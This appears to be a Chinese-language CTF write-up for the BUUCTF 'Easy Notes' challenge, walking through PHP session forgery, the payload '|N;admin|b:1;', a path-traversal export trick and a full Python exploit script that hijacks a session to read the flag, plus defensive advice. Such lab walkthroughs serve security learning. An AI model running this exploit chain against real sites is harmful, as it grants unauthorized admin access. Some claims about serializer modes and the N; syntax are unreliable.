当前位置：首页 > news >正文

手把手教你复现BUUCTF Easy Notes：从Session伪造到PHP反序列化拿Flag

news 2026/6/4 10:28:54

从零攻破BUUCTF Easy Notes：Session伪造与PHP反序列化实战指南

在CTF竞赛中，Web安全题目往往涉及对常见漏洞的深入理解和灵活运用。BUUCTF平台上的Easy Notes题目就是一个典型的案例，它巧妙地将Session伪造与PHP反序列化漏洞结合在一起，为安全爱好者提供了一个绝佳的学习机会。本文将带你从环境搭建开始，逐步分析漏洞原理，最终编写自动化脚本获取Flag。

1. 环境准备与题目分析

首先，我们需要在本地或在线靶场搭建一个与题目相似的环境。BUUCTF平台已经提供了现成的靶场环境，但为了深入理解，建议在本地Docker中复现：

docker run -d -p 8080:80 --name easy-notes php:7.2-apache docker exec -it easy-notes bash apt update && apt install -y vim

题目主要包含以下几个关键文件：

login.php：用户登录处理
add.php：添加笔记功能
export.php：导出笔记功能
flag.php：包含Flag的核心文件

关键漏洞点在于：

Session文件存储在可预测的位置（/var/www/tmp）
笔记文件名与Session文件名格式相同
PHP默认的session.serialize_handler配置存在安全隐患

2. Session机制与伪造原理

PHP的Session机制默认会将用户会话数据存储在服务器端文件中，文件名通常为sess_加上Session ID。在本题中，Session文件的存储路径为/var/www/tmp，这是一个关键信息。

Session伪造攻击流程：

注册一个用户名为sess_的账户
添加笔记时，精心构造标题内容
利用导出功能生成一个与Session文件同名的笔记文件
通过控制PHPSESSID来加载我们伪造的Session

PHP的Session序列化处理机制有三种模式：

处理模式	键值分隔符	安全性
php
php_binary	特殊字符	较安全
wddx	XML格式	最安全

本题中默认使用的是php模式，这是漏洞能够利用的关键。

3. PHP反序列化漏洞详解

PHP反序列化漏洞是Web安全中的常见问题，它允许攻击者通过精心构造的序列化数据来执行任意代码或改变程序逻辑。

在本题中，我们需要通过反序列化来修改admin标志：

// 正常Session数据 admin|b:0; // 我们构造的恶意数据 |N;admin|b:1;

这里的|N;是PHP序列化语法中的特殊结构，它表示一个空对象。通过精心构造这个序列化字符串，我们可以覆盖原有的admin标志。

关键技巧：

使用|作为分隔符（php序列化处理器特性）
N;表示NULL值
b:1表示布尔值true

4. 完整攻击链构建与自动化脚本

现在，我们将所有知识点串联起来，构建完整的攻击链：

登录阶段：使用sess_作为用户名登录
笔记创建：添加标题为|N;admin|b:1;的笔记
文件导出：访问export.php?type=.触发路径遍历
Session劫持：获取生成的Session ID并设置cookie
Flag获取：访问flag.php页面

以下是完整的Python自动化脚本：

import re import requests TARGET_URL = 'http://your-target-url/' def exploit(): session = requests.Session() # Step 1: Login with crafted username login_data = {'user': 'sess_'} session.post(TARGET_URL + 'login.php', data=login_data) # Step 2: Create malicious note note_data = { 'title': '|N;admin|b:1;', 'body': 'exploit payload' } session.post(TARGET_URL + 'add.php', data=note_data) # Step 3: Trigger file export export_response = session.get(TARGET_URL + 'export.php?type=.') session_id = re.findall(r'sess_([0-9a-z-]+)', export_response.headers['Content-Disposition'])[0] # Step 4: Access flag with hijacked session flag_response = requests.get( TARGET_URL + '?page=flag', cookies={'PHPSESSID': session_id} ) flag = re.findall(r'flag\{.+\}', flag_response.text) if flag: print(f"[+] Success! Flag: {flag[0]}") else: print("[-] Exploit failed") if __name__ == '__main__': exploit()

脚本关键点解析：

使用requests.Session()保持会话状态
正则表达式提取生成的Session ID
通过设置PHPSESSID cookie劫持会话
最终从flag.php页面提取Flag

5. 防御措施与安全建议

理解了攻击原理后，我们更应该知道如何防御这类漏洞：

Session处理：
- 修改默认的session.serialize_handler为php_binary或wddx
- 设置session.save_path到非Web目录
- 使用自定义的Session处理函数
文件操作安全：
- 对用户输入的文件名进行严格过滤
- 避免使用用户可控数据直接拼接文件路径
- 设置open_basedir限制文件访问范围
反序列化安全：
- 避免反序列化用户可控数据
- 使用json_encode/json_decode替代序列化
- 实现严格的类型检查和数据验证